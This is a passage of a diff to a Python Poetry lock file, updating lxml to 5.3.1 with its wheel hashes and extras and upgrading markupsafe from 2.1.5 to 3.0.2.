"sha256:d2a3e412ce1849be34b45922bfef03df32d1410a06d1cdeb793a343c2f1fd666"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2b8969dbc8d09d9cd2ae06362c3bad27d03f433252601ef658a49bd9f2b22d79"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:5be8f5e4044146a69c96077c7e08f0709c13a314aa5315981185c1f00235fe65"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:133f3493253a00db2c870d3740bc458ebb7d937bd0a6a4f9328373e0db305709"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:52d82b0d436edd6a1d22d94a344b9a58abd6c68c357ed44f22d4ba8179b37629"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:1b6f92e35e2658a5ed51c6634ceb5ddae32053182851d8cad2a5bc102a359b33"}, + {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:203b1d3eaebd34277be06a3eb880050f18a4e4d60861efba4fb946e31071a295"}, + {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:155e1a5693cf4b55af652f5c0f78ef36596c7f680ff3ec6eb4d7d85367259b2c"}, + {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22ec2b3c191f43ed21f9545e9df94c37c6b49a5af0a874008ddc9132d49a2d9c"}, + {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:7eda194dd46e40ec745bf76795a7cccb02a6a41f445ad49d3cf66518b0bd9cff"}, + {file = "lxml-5.3.1-cp311-cp311-win32.whl", hash = "sha256:fb7c61d4be18e930f75948705e9718618862e6fc2ed0d7159b2262be73f167a2"}, + {file = "lxml-5.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:c809eef167bf4a57af4b03007004896f5c60bd38dc3852fcd97a26eae3d4c9e6"}, + {file = "lxml-5.3.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:e69add9b6b7b08c60d7ff0152c7c9a6c45b4a71a919be5abde6f98f1ea16421c"}, + {file = "lxml-5.3.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:4e52e1b148867b01c05e21837586ee307a01e793b94072d7c7b91d2c2da02ffe"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4b382e0e636ed54cd278791d93fe2c4f370772743f02bcbe431a160089025c9"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2e49dc23a10a1296b04ca9db200c44d3eb32c8d8ec532e8c1fd24792276522a"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4399b4226c4785575fb20998dc571bc48125dc92c367ce2602d0d70e0c455eb0"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5412500e0dc5481b1ee9cf6b38bb3b473f6e411eb62b83dc9b62699c3b7b79f7"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c93ed3c998ea8472be98fb55aed65b5198740bfceaec07b2eba551e55b7b9ae"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:63d57fc94eb0bbb4735e45517afc21ef262991d8758a8f2f05dd6e4174944519"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:b450d7cabcd49aa7ab46a3c6aa3ac7e1593600a1a0605ba536ec0f1b99a04322"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:4df0ec814b50275ad6a99bc82a38b59f90e10e47714ac9871e1b223895825468"}, + {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:d184f85ad2bb1f261eac55cddfcf62a70dee89982c978e92b9a74a1bfef2e367"}, + {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b725e70d15906d24615201e650d5b0388b08a5187a55f119f25874d0103f90dd"}, + {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:a31fa7536ec1fb7155a0cd3a4e3d956c835ad0a43e3610ca32384d01f079ea1c"}, + {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3c3c8b55c7fc7b7e8877b9366568cc73d68b82da7fe33d8b98527b73857a225f"}, + {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d61ec60945d694df806a9aec88e8f29a27293c6e424f8ff91c80416e3c617645"}, + {file = "lxml-5.3.1-cp312-cp312-win32.whl", hash = "sha256:f4eac0584cdc3285ef2e74eee1513a6001681fd9753b259e8159421ed28a72e5"}, + {file = "lxml-5.3.1-cp312-cp312-win_amd64.whl", hash = "sha256:29bfc8d3d88e56ea0a27e7c4897b642706840247f59f4377d81be8f32aa0cfbf"}, + {file = "lxml-5.3.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c093c7088b40d8266f57ed71d93112bd64c6724d31f0794c1e52cc4857c28e0e"}, + {file = "lxml-5.3.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b0884e3f22d87c30694e625b1e62e6f30d39782c806287450d9dc2fdf07692fd"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1637fa31ec682cd5760092adfabe86d9b718a75d43e65e211d5931809bc111e7"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a364e8e944d92dcbf33b6b494d4e0fb3499dcc3bd9485beb701aa4b4201fa414"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:779e851fd0e19795ccc8a9bb4d705d6baa0ef475329fe44a13cf1e962f18ff1e"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c4393600915c308e546dc7003d74371744234e8444a28622d76fe19b98fa59d1"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:673b9d8e780f455091200bba8534d5f4f465944cbdd61f31dc832d70e29064a5"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:2e4a570f6a99e96c457f7bec5ad459c9c420ee80b99eb04cbfcfe3fc18ec6423"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:71f31eda4e370f46af42fc9f264fafa1b09f46ba07bdbee98f25689a04b81c20"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:42978a68d3825eaac55399eb37a4d52012a205c0c6262199b8b44fcc6fd686e8"}, + {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:8b1942b3e4ed9ed551ed3083a2e6e0772de1e5e3aca872d955e2e86385fb7ff9"}, + {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:85c4f11be9cf08917ac2a5a8b6e1ef63b2f8e3799cec194417e76826e5f1de9c"}, + {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:231cf4d140b22a923b1d0a0a4e0b4f972e5893efcdec188934cc65888fd0227b"}, + {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5865b270b420eda7b68928d70bb517ccbe045e53b1a428129bb44372bf3d7dd5"}, + {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dbf7bebc2275016cddf3c997bf8a0f7044160714c64a9b83975670a04e6d2252"}, + {file = "lxml-5.3.1-cp313-cp313-win32.whl", hash = "sha256:d0751528b97d2b19a388b302be2a0ee05817097bab46ff0ed76feeec24951f78"}, + {file = "lxml-5.3.1-cp313-cp313-win_amd64.whl", hash = "sha256:91fb6a43d72b4f8863d21f347a9163eecbf36e76e2f51068d59cd004c506f332"}, + {file = "lxml-5.3.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:016b96c58e9a4528219bb563acf1aaaa8bc5452e7651004894a973f03b84ba81"}, + {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82a4bb10b0beef1434fb23a09f001ab5ca87895596b4581fd53f1e5145a8934a"}, + {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3d68eeef7b4d08a25e51897dac29bcb62aba830e9ac6c4e3297ee7c6a0cf6439"}, + {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:f12582b8d3b4c6be1d298c49cb7ae64a3a73efaf4c2ab4e37db182e3545815ac"}, + {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:2df7ed5edeb6bd5590914cd61df76eb6cce9d590ed04ec7c183cf5509f73530d"}, + {file = "lxml-5.3.1-cp36-cp36m-musllinux_1_2_x86_64.whl", hash = "sha256:585c4dc429deebc4307187d2b71ebe914843185ae16a4d582ee030e6cfbb4d8a"}, + {file = "lxml-5.3.1-cp36-cp36m-win32.whl", hash = "sha256:06a20d607a86fccab2fc15a77aa445f2bdef7b49ec0520a842c5c5afd8381576"}, + {file = "lxml-5.3.1-cp36-cp36m-win_amd64.whl", hash = "sha256:057e30d0012439bc54ca427a83d458752ccda725c1c161cc283db07bcad43cf9"}, + {file = "lxml-5.3.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4867361c049761a56bd21de507cab2c2a608c55102311d142ade7dab67b34f32"}, + {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3dddf0fb832486cc1ea71d189cb92eb887826e8deebe128884e15020bb6e3f61"}, + {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1bcc211542f7af6f2dfb705f5f8b74e865592778e6cafdfd19c792c244ccce19"}, + {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaca5a812f050ab55426c32177091130b1e49329b3f002a32934cd0245571307"}, + {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:236610b77589faf462337b3305a1be91756c8abc5a45ff7ca8f245a71c5dab70"}, + {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:aed57b541b589fa05ac248f4cb1c46cbb432ab82cbd467d1c4f6a2bdc18aecf9"}, + {file = "lxml-5.3.1-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:75fa3d6946d317ffc7016a6fcc44f42db6d514b7fdb8b4b28cbe058303cb6e53"}, + {file = "lxml-5.3.1-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:96eef5b9f336f623ffc555ab47a775495e7e8846dde88de5f941e2906453a1ce"}, + {file = "lxml-5.3.1-cp37-cp37m-win32.whl", hash = "sha256:ef45f31aec9be01379fc6c10f1d9c677f032f2bac9383c827d44f620e8a88407"}, + {file = "lxml-5.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0611da6b07dd3720f492db1b463a4d1175b096b49438761cc9f35f0d9eaaef5"}, + {file = "lxml-5.3.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b2aca14c235c7a08558fe0a4786a1a05873a01e86b474dfa8f6df49101853a4e"}, + {file = "lxml-5.3.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae82fce1d964f065c32c9517309f0c7be588772352d2f40b1574a214bd6e6098"}, + {file = "lxml-5.3.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7aae7a3d63b935babfdc6864b31196afd5145878ddd22f5200729006366bc4d5"}, + {file = "lxml-5.3.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e8e0d177b1fe251c3b1b914ab64135475c5273c8cfd2857964b2e3bb0fe196a7"}, + {file = "lxml-5.3.1-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:6c4dd3bfd0c82400060896717dd261137398edb7e524527438c54a8c34f736bf"}, + {file = "lxml-5.3.1-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:f1208c1c67ec9e151d78aa3435aa9b08a488b53d9cfac9b699f15255a3461ef2"}, + {file = "lxml-5.3.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:c6aacf00d05b38a5069826e50ae72751cb5bc27bdc4d5746203988e429b385bb"}, + {file = "lxml-5.3.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:5881aaa4bf3a2d086c5f20371d3a5856199a0d8ac72dd8d0dbd7a2ecfc26ab73"}, + {file = "lxml-5.3.1-cp38-cp38-win32.whl", hash = "sha256:45fbb70ccbc8683f2fb58bea89498a7274af1d9ec7995e9f4af5604e028233fc"}, + {file = "lxml-5.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:7512b4d0fc5339d5abbb14d1843f70499cab90d0b864f790e73f780f041615d7"}, + {file = "lxml-5.3.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5885bc586f1edb48e5d68e7a4b4757b5feb2a496b64f462b4d65950f5af3364f"}, + {file = "lxml-5.3.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1b92fe86e04f680b848fff594a908edfa72b31bfc3499ef7433790c11d4c8cd8"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a091026c3bf7519ab1e64655a3f52a59ad4a4e019a6f830c24d6430695b1cf6a"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8ffb141361108e864ab5f1813f66e4e1164181227f9b1f105b042729b6c15125"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3715cdf0dd31b836433af9ee9197af10e3df41d273c19bb249230043667a5dfd"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88b72eb7222d918c967202024812c2bfb4048deeb69ca328363fb8e15254c549"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa59974880ab5ad8ef3afaa26f9bda148c5f39e06b11a8ada4660ecc9fb2feb3"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:3bb8149840daf2c3f97cebf00e4ed4a65a0baff888bf2605a8d0135ff5cf764e"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_ppc64le.whl", hash = "sha256:0d6b2fa86becfa81f0a0271ccb9eb127ad45fb597733a77b92e8a35e53414914"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_s390x.whl", hash = "sha256:136bf638d92848a939fd8f0e06fcf92d9f2e4b57969d94faae27c55f3d85c05b"}, + {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:89934f9f791566e54c1d92cdc8f8fd0009447a5ecdb1ec6b810d5f8c4955f6be"}, + {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a8ade0363f776f87f982572c2860cc43c65ace208db49c76df0a21dde4ddd16e"}, + {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:bfbbab9316330cf81656fed435311386610f78b6c93cc5db4bebbce8dd146675"}, + {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:172d65f7c72a35a6879217bcdb4bb11bc88d55fb4879e7569f55616062d387c2"}, + {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:e3c623923967f3e5961d272718655946e5322b8d058e094764180cdee7bab1af"}, + {file = "lxml-5.3.1-cp39-cp39-win32.whl", hash = "sha256:ce0930a963ff593e8bb6fda49a503911accc67dee7e5445eec972668e672a0f0"}, + {file = "lxml-5.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f7b64fcd670bca8800bc10ced36620c6bbb321e7bc1214b9c0c0df269c1dddc2"}, + {file = "lxml-5.3.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:afa578b6524ff85fb365f454cf61683771d0170470c48ad9d170c48075f86725"}, + {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67f5e80adf0aafc7b5454f2c1cb0cde920c9b1f2cbd0485f07cc1d0497c35c5d"}, + {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2dd0b80ac2d8f13ffc906123a6f20b459cb50a99222d0da492360512f3e50f84"}, + {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:422c179022ecdedbe58b0e242607198580804253da220e9454ffe848daa1cfd2"}, + {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:524ccfded8989a6595dbdda80d779fb977dbc9a7bc458864fc9a0c2fc15dc877"}, + {file = "lxml-5.3.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:48fd46bf7155def2e15287c6f2b133a2f78e2d22cdf55647269977b873c65499"}, + {file = "lxml-5.3.1-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:05123fad495a429f123307ac6d8fd6f977b71e9a0b6d9aeeb8f80c017cb17131"}, + {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a243132767150a44e6a93cd1dde41010036e1cbc63cc3e9fe1712b277d926ce3"}, + {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c92ea6d9dd84a750b2bae72ff5e8cf5fdd13e58dda79c33e057862c29a8d5b50"}, + {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:2f1be45d4c15f237209bbf123a0e05b5d630c8717c42f59f31ea9eae2ad89394"}, + {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:a83d3adea1e0ee36dac34627f78ddd7f093bb9cfc0a8e97f1572a949b695cb98"}, + {file = "lxml-5.3.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:3edbb9c9130bac05d8c3fe150c51c337a471cc7fdb6d2a0a7d3a88e88a829314"}, + {file = "lxml-5.3.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:2f23cf50eccb3255b6e913188291af0150d89dab44137a69e14e4dcb7be981f1"}, + {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:df7e5edac4778127f2bf452e0721a58a1cfa4d1d9eac63bdd650535eb8543615"}, + {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:094b28ed8a8a072b9e9e2113a81fda668d2053f2ca9f2d202c2c8c7c2d6516b1"}, + {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:514fe78fc4b87e7a7601c92492210b20a1b0c6ab20e71e81307d9c2e377c64de"}, + {file = "lxml-5.3.1-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:8fffc08de02071c37865a155e5ea5fce0282e1546fd5bde7f6149fcaa32558ac"}, + {file = "lxml-5.3.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4b0d5cdba1b655d5b18042ac9c9ff50bda33568eb80feaaca4fc237b9c4fbfde"}, + {file = "lxml-5.3.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3031e4c16b59424e8d78522c69b062d301d951dc55ad8685736c3335a97fc270"}, + {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cb659702a45136c743bc130760c6f137870d4df3a9e14386478b8a0511abcfca"}, + {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5a11b16a33656ffc43c92a5343a28dc71eefe460bcc2a4923a96f292692709f6"}, + {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c5ae125276f254b01daa73e2c103363d3e99e3e10505686ac7d9d2442dd4627a"}, + {file = "lxml-5.3.1-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c76722b5ed4a31ba103e0dc77ab869222ec36efe1a614e42e9bcea88a36186fe"}, + {file = "lxml-5.3.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:33e06717c00c788ab4e79bc4726ecc50c54b9bfb55355eae21473c145d83c2d2"}, + {file = "lxml-5.3.1.tar.gz", hash = "sha256:106b7b5d2977b339f1e97efe2778e2ab20e99994cbb0ec5e55771ed0795920c8"}, ] [package.extras] cssselect = ["cssselect (>=0.7)"] +html-clean = ["lxml_html_clean"] html5 = ["html5lib"] htmlsoup = ["BeautifulSoup4"] -source = ["Cython (>=0.29.35)"] +source = ["Cython (>=3.0.11,<3.1.0)"] [[package]] name = "markdown-it-py" @@ -1094,6 +1160,7 @@ version = "3.0.0" description = "Python port of markdown-it. Markdown parsing, done right!" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb"}, {file = "markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1"}, @@ -1114,71 +1181,73 @@ testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] [[package]] name = "markupsafe" -version = "2.1.5" +version = "3.0.2" description = "Safely add untrusted strings to HTML/XML markup." optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" +groups = ["main"] files = [ - {file = "MarkupSafe-2.1.5-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:a17a92de5231666cfbe003f0e4b9b3a7ae3afb1ec2845aadc2bacc93ff85febc"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:72b6be590cc35924b02c78ef34b467da4ba07e4e0f0454a2c5907f473fc50ce5"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e61659ba32cf2cf1481e575d0462554625196a1f2fc06a1c777d3f48e8865d46"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2174c595a0d73a3080ca3257b40096db99799265e1c27cc5a610743acd86d62f"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae2ad8ae6ebee9d2d94b17fb62763125f3f374c25618198f40cbb8b525411900"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:075202fa5b72c86ad32dc7d0b56024ebdbcf2048c0ba09f1cde31bfdd57bcfff"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:598e3276b64aff0e7b3451b72e94fa3c238d452e7ddcd893c3ab324717456bad"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fce659a462a1be54d2ffcacea5e3ba2d74daa74f30f5f143fe0c58636e355fdd"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-win32.whl", hash = "sha256:d9fad5155d72433c921b782e58892377c44bd6252b5af2f67f16b194987338a4"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-win_amd64.whl", hash = "sha256:bf50cd79a75d181c9181df03572cdce0fbb75cc353bc350712073108cba98de5"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:629ddd2ca402ae6dbedfceeba9c46d5f7b2a61d9749597d4307f943ef198fc1f"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b7b716f97b52c5a14bffdf688f971b2d5ef4029127f1ad7a513973cfd818df2"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ec585f69cec0aa07d945b20805be741395e28ac1627333b1c5b0105962ffced"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b91c037585eba9095565a3556f611e3cbfaa42ca1e865f7b8015fe5c7336d5a5"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7502934a33b54030eaf1194c21c692a534196063db72176b0c4028e140f8f32c"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0e397ac966fdf721b2c528cf028494e86172b4feba51d65f81ffd65c63798f3f"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:c061bb86a71b42465156a3ee7bd58c8c2ceacdbeb95d05a99893e08b8467359a"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3a57fdd7ce31c7ff06cdfbf31dafa96cc533c21e443d57f5b1ecc6cdc668ec7f"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-win32.whl", hash = "sha256:397081c1a0bfb5124355710fe79478cdbeb39626492b15d399526ae53422b906"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-win_amd64.whl", hash = "sha256:2b7c57a4dfc4f16f7142221afe5ba4e093e09e728ca65c51f5620c9aaeb9a617"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:8dec4936e9c3100156f8a2dc89c4b88d5c435175ff03413b443469c7c8c5f4d1"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:3c6b973f22eb18a789b1460b4b91bf04ae3f0c4234a0a6aa6b0a92f6f7b951d4"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac07bad82163452a6884fe8fa0963fb98c2346ba78d779ec06bd7a6262132aee"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f5dfb42c4604dddc8e4305050aa6deb084540643ed5804d7455b5df8fe16f5e5"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea3d8a3d18833cf4304cd2fc9cbb1efe188ca9b5efef2bdac7adc20594a0e46b"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d050b3361367a06d752db6ead6e7edeb0009be66bc3bae0ee9d97fb326badc2a"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:bec0a414d016ac1a18862a519e54b2fd0fc8bbfd6890376898a6c0891dd82e9f"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:58c98fee265677f63a4385256a6d7683ab1832f3ddd1e66fe948d5880c21a169"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-win32.whl", hash = "sha256:8590b4ae07a35970728874632fed7bd57b26b0102df2d2b233b6d9d82f6c62ad"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-win_amd64.whl", hash = "sha256:823b65d8706e32ad2df51ed89496147a42a2a6e01c13cfb6ffb8b1e92bc910bb"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c8b29db45f8fe46ad280a7294f5c3ec36dbac9491f2d1c17345be8e69cc5928f"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ec6a563cff360b50eed26f13adc43e61bc0c04d94b8be985e6fb24b81f6dcfdf"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", 